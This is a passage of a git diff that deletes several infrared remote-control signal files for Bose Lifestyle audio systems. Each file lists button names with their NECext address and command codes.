-command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B7 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B7 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B7 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B7 00 00 -command: C0 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B7 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B7 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B7 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B7 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir deleted file mode 100644 index 7cf11d009..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B8 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B8 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B8 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B8 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B8 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B8 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B8 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir deleted file mode 100644 index 9b84ce836..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 20 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 4C 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B9 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B9 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B9 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: CD 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B9 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B9 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B9 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir deleted file mode 100644 index 1aa693a46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 20 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 20 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BA 00 00 -command: 9F 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BA 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BA 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BA 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BA 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BA 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BA 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir deleted file mode 100644 index 937a77493..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BB 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BB 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BB 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BB 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BB 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BB 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BB 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir deleted file mode 100644 index fd11e35f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BC 00 